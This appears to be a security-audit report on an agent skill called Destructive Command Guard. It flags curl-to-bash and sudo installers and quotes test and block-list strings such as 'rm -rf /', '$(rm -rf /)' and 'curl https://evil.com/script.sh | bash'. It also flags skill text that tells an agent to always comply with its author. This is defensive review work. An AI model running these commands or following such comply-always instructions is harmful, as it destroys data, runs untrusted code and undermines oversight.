Security audit

Destructive Command Guard

Security checks for vulnerabilities and agentic risk

Overview

The skill has a coherent safety-tool purpose, but its installer and updater run mutable remote code and install persistent agent hooks, so it needs careful review before use.

Install only if you are comfortable with a persistent shell-command hook and local configuration changes. Prefer reviewing and running a pinned release installer or locally built binary instead of curl-to-bash from master, avoid the sudo install path unless you have verified the script and artifact, and review the hook/config/history files it creates.

A.I.G

Vulnerability Patterns

Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Insecure DependenciesIntroduces malicious components through unsafe dependency sources
Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally

Findings (4)

T03 · Remote Payload Retrieval and Execution

Error

Location: SKILL.md:197
Finding: Skill instructions execute a mutable remote installer without prior verification<![CDATA[ ## Vulnerability Details **File Location**: `SKILL.md:197-203` **Vulnerability Type**: Remote payload retrieval and execution **Risk Level**: Critical ### Vulnerable Code ```bash curl -fsSL "https://raw.githubusercontent.com/Dicklesworthstone/destructive_command_guard/master/install.sh?$(date +%s)" | bash # Easy mode: auto-update PATH curl -fsSL "https://raw.githubusercontent.com/Dicklesworthstone/destructive_command_guard/master/install.sh?$(date +%s)" | bash -s -- --easy-mode # System-wide (requires sudo) curl -fsSL "https://raw.githubusercontent.com/Dicklesworthstone/destructive_command_guard/master/install.sh?$(date +%s)" | sudo bash -s -- --system ``` Equivalent installation instructions also appear in `README.md` and `docs/scan-precommit-guide.md`. ### Technical Analysis The recommended installation procedure streams a script from the mutable `master` branch directly into Bash. The script is not downloaded for inspection, pinned to an immutable commit, or authenticated using a locally trusted signature before execution. The timestamp query parameter deliberately bypasses intermediary caches, ensuring that the newest remote branch content is executed. Consequently, the effective payload can change after the Skill has been reviewed. The system-wide variant is especially dangerous because the remote script is passed to `sudo bash`, giving the downloaded payload root privileges. HTTPS protects transport under ordinary conditions but does not protect against repository-account compromise, malicious upstream changes, or compromised release infrastructure. ### Attack Path 1. An attacker compromises the upstream GitHub account, repository, branch protection, or a maintainer credential. 2. The attacker modifies `master/install.sh` to include a malicious payload. 3. A user follows the installation instructions in `SKILL.md`. 4. `curl` retrieves the attacker-controlled branch-head script. 5. The script is immediately interpreted by Bash without l ...[truncated 662 chars]
Remediation: <![CDATA[ ## Remediation Suggestions 1. Remove all recommendations that pipe network responses directly into a shell. 2. Publish installers and binaries under immutable, versioned release URLs rather than a mutable branch. 3. Use a staged installation procedure: ```bash curl -fL -o install.sh https://example.invalid/releases/vX.Y.Z/install.sh sha256sum -c install.sh.sha256 cosign verify-blob --bundle install.sh.sigstore.json install.sh less install.sh bash install.sh ``` 4. Pin the release version and expected digest in the Skill documentation. 5. Authenticate artifacts with Sigstore or a project signing key whose trust root is distributed independently of the downloaded artifact. 6. Do not recommend running a downloaded installer under `sudo`. The unprivileged installer should prepare the artifact, verify it, and request elevation only for the narrowly scoped final file installation. 7. Remove the cache-busting timestamp because it discourages reproducibility and does not provide a security benefit. ]]>

T03 · Remote Payload Retrieval and Execution

Error

Location: src/cli.rs:8441
Finding: The self-update command executes an unpinned branch-head installer<![CDATA[ ## Vulnerability Details **File Location**: `src/cli.rs:8441-8496` **Vulnerability Type**: Remote payload retrieval and execution **Risk Level**: Critical ### Vulnerable Code ```rust fn self_update_unix(update: UpdateCommand) -> Result<(), Box<dyn std::error::Error>> { let script_url = "https://raw.githubusercontent.com/Dicklesworthstone/destructive_command_guard/master/install.sh"; let mut args: Vec<String> = Vec::new(); if let Some(version) = update.version { args.push("--version".to_string()); args.push(version); } if update.system { args.push("--system".to_string()); } if update.easy_mode { args.push("--easy-mode".to_string()); } if let Some(dest) = update.dest { args.push("--dest".to_string()); args.push(dest.to_string_lossy().into_owned()); } if update.from_source { args.push("--from-source".to_string()); } if update.verify { args.push("--verify".to_string()); } if update.quiet { args.push("--quiet".to_string()); } if update.no_gum { args.push("--no-gum".to_string()); } if update.force { args.push("--force".to_string()); } let mut escaped_args = String::new(); for (idx, arg) in args.iter().enumerate() { if idx > 0 { escaped_args.push(' '); } escaped_args.push_str(&shell_escape_posix(arg)); } let command = if escaped_args.is_empty() { format!("curl -fsSL {} | bash -s --", shell_escape_posix(script_url)) } else { format!( "curl -fsSL {} | bash -s -- {}", shell_escape_posix(script_url), escaped_args ) }; let status = std::process::Command::new("sh") .arg("-c") .arg(command) .status()?; if !status.success() { return Err(format!("Installer failed with status {status}").into()); } Ok(()) } ``` ### Technical Analys ...[truncated 1764 chars]
Remediation: <![CDATA[ ## Remediation Suggestions 1. Replace the shell-based updater with a native updater that downloads immutable, versioned release artifacts. 2. Resolve a release version through the GitHub API, validate it as strict semantic versioning, and construct an immutable release-asset URL. 3. Download the executable archive and signature into a securely created temporary directory. 4. Verify the artifact before extraction using Sigstore identity constraints or a pinned project signing key. 5. Verify the archive digest against a value obtained through an authenticated release manifest. 6. Extract defensively and atomically replace the executable only after verification succeeds. 7. Avoid `sh -c` and shell pipelines. Use an HTTP client and direct process/file APIs. 8. Require explicit confirmation before an update writes to system-wide locations. 9. Preserve the existing binary until the new artifact passes verification and startup validation. ]]>

T03 · Remote Payload Retrieval and Execution

Error

Location: install.sh:597
Finding: Source installation executes the remote Rustup bootstrap script<![CDATA[ ## Vulnerability Details **File Location**: `install.sh:597-608` **Vulnerability Type**: Remote payload retrieval and execution through an installation dependency **Risk Level**: High ### Vulnerable Code ```bash ensure_rust() { if [ "${RUSTUP_INIT_SKIP:-0}" != "0" ]; then info "Skipping rustup install (RUSTUP_INIT_SKIP set)" return 0 fi if command -v cargo >/dev/null 2>&1 && rustc --version 2>/dev/null | grep -q nightly; then return 0; fi if [ "$EASY" -ne 1 ]; then if [ -t 0 ]; then echo -n "Install Rust nightly via rustup? (y/N): " read -r ans case "$ans" in y|Y) :;; *) warn "Skipping rustup install"; return 0;; esac fi fi info "Installing rustup (nightly)" curl -fsSL https://sh.rustup.rs | sh -s -- -y --default-toolchain nightly --profile minimal export PATH="$HOME/.cargo/bin:$PATH" rustup component add rustfmt clippy || true } ``` ### Technical Analysis When Rust nightly is unavailable, the installer downloads the current Rustup bootstrap script and immediately executes it. No digest, signature, immutable version, or local review is required. In easy mode, the interactive confirmation is bypassed. The same path can also be reached when a prebuilt DCG artifact fails to download and the installer falls back to building from source. Therefore, failure of one network operation can lead to execution of an additional remote program. Rustup is a legitimate tool, but its legitimacy does not eliminate the security risk created by directly executing mutable network content. The dependency receives the full privileges of the installer process. ### Attack Path 1. A source installation is requested, or the prebuilt DCG artifact download fails. 2. The installer determines that a nightly Rust toolchain is unavailable. 3. In easy or non-interactive conditions, installation may proceed without meaningful user review. 4. The installer retrieves the current script from `sh.rustup.rs`. 5. The response is strea ...[truncated 587 chars]
Remediation: <![CDATA[ ## Remediation Suggestions 1. Treat Rust as an explicit prerequisite for source installations rather than silently bootstrapping it. 2. Require affirmative user confirmation in all modes before installing a toolchain. 3. Do not execute the bootstrap response as a stream. Download it to a file first. 4. Verify the Rustup installer using an official published digest or signature before execution. 5. Pin a known Rustup installer/toolchain version instead of implicitly accepting the current remote version. 6. Do not perform source-build fallback automatically after a binary download failure; stop with an error or request explicit approval. 7. Never bootstrap a development toolchain from remote code while the installer is running as root. 8. Document `RUSTUP_INIT_SKIP=1` and a fully offline installation path prominently. ]]>

T08 · Insecure Dependencies

Error

Location: action/action.yml:84
Finding: GitHub Action executes release binaries without checksum or signature verification<![CDATA[ ## Vulnerability Details **File Location**: `action/action.yml:84-132` **Vulnerability Type**: Unverified executable dependency in CI **Risk Level**: High ### Vulnerable Code ```yaml - name: Download DCG binary id: download shell: bash run: | set -euo pipefail VERSION="${{ inputs.dcg-version }}" if [ "$VERSION" = "latest" ]; then # Get latest release tag VERSION=$(curl -sL https://api.github.com/repos/Dicklesworthstone/destructive_command_guard/releases/latest | jq -r '.tag_name // "v0.2.7"') fi echo "Installing DCG version: $VERSION" case "$(uname -s)-$(uname -m)" in Linux-x86_64) PLATFORM="x86_64-unknown-linux-gnu" ;; Linux-aarch64) PLATFORM="aarch64-unknown-linux-gnu" ;; Darwin-x86_64) PLATFORM="x86_64-apple-darwin" ;; Darwin-arm64) PLATFORM="aarch64-apple-darwin" ;; *) echo "::error::Unsupported platform: $(uname -s)-$(uname -m)" exit 1 ;; esac DOWNLOAD_URL="https://github.com/Dicklesworthstone/destructive_command_guard/releases/download/${VERSION}/dcg-${PLATFORM}.tar.gz" echo "Downloading from: $DOWNLOAD_URL" mkdir -p "${{ runner.temp }}/dcg" cd "${{ runner.temp }}/dcg" for i in 1 2 3; do if curl -sL --fail "$DOWNLOAD_URL" -o dcg.tar.gz; then break fi if [ $i -eq 3 ]; then echo "::warning::Could not download pre-built binary, falling back to cargo install" cargo install --git https://github.com/Dicklesworthstone/destructive_command_guard --tag "$VERSION" || cargo install --git https://github.com/Dicklesworthstone/destructive_command_guard echo "dcg_path=$(which dcg)" >> $GITHUB_OUTPUT exit 0 fi sleep 2 done tar -xzf dcg.tar.gz chmod +x dcg echo "dcg_path=${{ runner.temp }}/dcg/dcg" >> $GITHUB_OUTPUT ``` ### Technical Analysis The composite action downloads an executable archive and subsequently runs the extracted `dcg` binary wit ...[truncated 1974 chars]
Remediation: <![CDATA[ ## Remediation Suggestions 1. Require a specific DCG version rather than defaulting to `latest` in security-sensitive workflows. 2. Publish SHA-256 checksums and Sigstore bundles for every platform archive. 3. Download the archive, checksum, and provenance bundle, then verify both before extraction. 4. Pin expected digests in the action release or an immutable manifest. 5. Validate `VERSION` against a strict release-tag format before incorporating it into URLs. 6. Remove the unpinned `cargo install --git` fallback. 7. If source fallback is retained, require an immutable full commit SHA and use: ```bash cargo install --git https://github.com/Dicklesworthstone/destructive_command_guard --rev FULL_COMMIT_SHA ``` 8. Use a fresh temporary directory and reject archives containing absolute paths or parent-directory traversal entries. 9. Minimize workflow token permissions and avoid making secrets available to the scan step unless strictly necessary. 10. Pin the consuming workflow's action reference to a full commit SHA. ]]>

SkillSpector

Vulnerability Patterns

Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access

Findings (3573)

Ssd 1

High

Confidence: 97% confidence
Finding: This section establishes a blanket authority override in natural language: if the author asks for something, the agent must comply even when it conflicts with subsequent rules. That is a semantic jailbreak pattern because it reframes conflicting instructions as automatically superseded by a privileged actor without any verification or safety boundary.

Hidden Instructions

High

Category: Prompt Injection
Content: ---  ## DCG Hook Protocol (Machine-Readable Reference)
Confidence: 70% confidence
Finding: Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.

Tool Parameter Abuse

High

Category: Tool Misuse
Content: | Pattern ID | Blocks | Severity | |------------|--------|----------| | `core.filesystem:rm-rf-root` | `rm -rf /`, `rm -rf ~` | Critical | | `core.filesystem:rm-rf-general` | `rm -rf` outside temp dirs | High | ### Safe Patterns (Whitelist - Always Allowed)
Confidence: 90% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Hidden Instructions

High

Category: Prompt Injection
Content: - **Don't** use `ripgrep` to understand "how does X work" → wastes time with manual reads - **Don't** use `ripgrep` for codemods → risks collateral edits  ---
Confidence: 70% confidence
Finding: Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.

Hidden Instructions

High

Category: Prompt Injection
Content: - Use descriptive titles and set appropriate priority/type - Always `br sync --flush-only && git add .beads/` before ending session  ## Landing the Plane (Session Completion)
Confidence: 70% confidence
Finding: Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.

Ssd 1

High

Confidence: 91% confidence
Finding: This passage uses forceful natural-language framing to prevent the agent from flagging unexpected modifications and tells it to 'fool yourself' into assuming ownership of unexplained changes. Semantically, that redirects the model away from standard caution around untrusted or unexplained workspace state, which can enable unsafe or unauthorized actions without using obvious jailbreak keywords.

Anti-Refusal Statement

High

Category: Anti-Refusal
Content: ## Note on Built-in TODO Functionality Also, if I ask you to explicitly use your built-in TODO functionality, don't complain about this and say you need to use beads. You can use built-in TODOs if I tell you specifically to do so. Always comply with such orders.
Confidence: 70% confidence
Finding: Skill instructs the agent to never refuse or to always comply. Suppressing the agent's ability to decline removes a core safety control and enables downstream harmful requests to succeed.

Tool Parameter Abuse

High

Category: Tool Misuse
Content: ### Example: How Context Parsing Works ``` Command: git commit -m "Fix the rm -rf detection bug" Tokenization: ┌─────────────────────────────────────────────────────────────┐
Confidence: 90% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tool Parameter Abuse

High

Category: Tool Misuse
Content: r#"git commit -m "Fix git reset --hard detection""#, r#"echo "example: git push --force""#, r#"rg -n "rm -rf" src/main.rs"#, r#"printf "Dangerous: %s\n" "rm -rf /""#, ]; for cmd in allowed {
Confidence: 85% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tool Parameter Abuse

High

Category: Tool Misuse
Content: r#"git commit -m "Fix git reset --hard detection""#, r#"echo "example: git push --force""#, r#"rg -n "rm -rf" src/main.rs"#, r#"printf "Dangerous: %s\n" "rm -rf /""#, ]; for cmd in allowed {
Confidence: 85% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tool Parameter Abuse

High

Category: Tool Misuse
Content: r#"git commit -m "Fix git reset --hard detection""#, r#"echo "example: git push --force""#, r#"rg -n "rm -rf" src/main.rs"#, r#"printf "Dangerous: %s\n" "rm -rf /""#, ]; for cmd in allowed {
Confidence: 85% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tool Parameter Abuse

High

Category: Tool Misuse
Content: fn test_must_block_execution_contexts() { let blocked = vec![ r#"bash -c "rm -rf /""#, r#"python -c "import os; os.system('rm -rf /')""#, r#"sh -c 'git reset --hard'"#, r#"git status; rm -rf /"#, r#"$(rm -rf /)"#,
Confidence: 85% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tool Parameter Abuse

High

Category: Tool Misuse
Content: fn test_must_block_execution_contexts() { let blocked = vec![ r#"bash -c "rm -rf /""#, r#"python -c "import os; os.system('rm -rf /')""#, r#"sh -c 'git reset --hard'"#, r#"git status; rm -rf /"#, r#"$(rm -rf /)"#,
Confidence: 85% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tool Parameter Abuse

High

Category: Tool Misuse
Content: fn test_must_block_execution_contexts() { let blocked = vec![ r#"bash -c "rm -rf /""#, r#"python -c "import os; os.system('rm -rf /')""#, r#"sh -c 'git reset --hard'"#, r#"git status; rm -rf /"#, r#"$(rm -rf /)"#,
Confidence: 85% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tool Parameter Abuse

High

Category: Tool Misuse
Content: r#"bash -c "rm -rf /""#, r#"python -c "import os; os.system('rm -rf /')""#, r#"sh -c 'git reset --hard'"#, r#"git status; rm -rf /"#, r#"$(rm -rf /)"#, r#"`rm -rf /`"#, ];
Confidence: 85% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tool Parameter Abuse

High

Category: Tool Misuse
Content: r#"bash -c "rm -rf /""#, r#"python -c "import os; os.system('rm -rf /')""#, r#"sh -c 'git reset --hard'"#, r#"git status; rm -rf /"#, r#"$(rm -rf /)"#, r#"`rm -rf /`"#, ];
Confidence: 90% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tool Parameter Abuse

High

Category: Tool Misuse
Content: r#"python -c "import os; os.system('rm -rf /')""#, r#"sh -c 'git reset --hard'"#, r#"git status; rm -rf /"#, r#"$(rm -rf /)"#, r#"`rm -rf /`"#, ];
Confidence: 85% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tool Parameter Abuse

High

Category: Tool Misuse
Content: r#"sh -c 'git reset --hard'"#, r#"git status; rm -rf /"#, r#"$(rm -rf /)"#, r#"`rm -rf /`"#, ]; for cmd in blocked {
Confidence: 85% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tool Parameter Abuse

High

Category: Tool Misuse
Content: ### Example: False Positive Explanation ``` $ dcg explain 'bd create --description="Fix rm -rf detection"' ╔══════════════════════════════════════════════════════════════════════╗ ║ DCG Decision Analysis ║
Confidence: 90% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tool Parameter Abuse

High

Category: Tool Misuse
Content: # Allowlist by exact command (for one-off cases) [[allow]] exact_command = "rm -rf /tmp/dcg-test-artifacts" reason = "Test cleanup" expires_at = 2026-06-01T00:00:00Z
Confidence: 85% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tool Parameter Abuse

High

Category: Tool Misuse
Content: # Allowlist by exact command (for one-off cases) [[allow]] exact_command = "rm -rf /tmp/dcg-test-artifacts" reason = "Test cleanup" expires_at = 2026-06-01T00:00:00Z
Confidence: 85% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tool Parameter Abuse

High

Category: Tool Misuse
Content: --condition "CI=true" # Add exact command (for one-off) $ dcg allowlist add-command "rm -rf /tmp/old-build" \ --reason "One-time cleanup" \ --expires 2026-02-01
Confidence: 85% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tool Parameter Abuse

High

Category: Tool Misuse
Content: ├────────────────────────────┼──────────────────────────┼─────────────────┤ │ Rule ID │ core.git:hard-reset │ Dev workflow │ │ Rule ID + Condition │ core.filesystem:rm-rf-* │ CI cleanup │ │ Exact Command (expires) │ rm -rf /tmp/old-build │ One-time │ │ Command Prefix │ bd create │ Documentation │ └────────────────────────────┴──────────────────────────┴─────────────────┘
Confidence: 85% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

External Script Fetching

High

Category: Supply Chain
Content: # Also bypasses: bash -c "git reset --hard" curl https://evil.com/script.sh | bash node -e "require('child_process').execSync('rm -rf /')" ```
Confidence: 90% confidence
Finding: Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Tool Parameter Abuse

High

Category: Tool Misuse
Content: hashmap! { Language::Python => vec![ AstPattern::new("os.system($CMD)", "Shell execution via os.system"), AstPattern::new("subprocess.run($$$, shell=True)", "Shell execution via subprocess"), AstPattern::new("subprocess.call($$$, shell=True)", "Shell execution via subprocess"), AstPattern::new("shutil.rmtree($PATH)", "Recursive directory deletion"), AstPattern::new("os.remove($PATH)", "File deletion"),
Confidence: 80% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).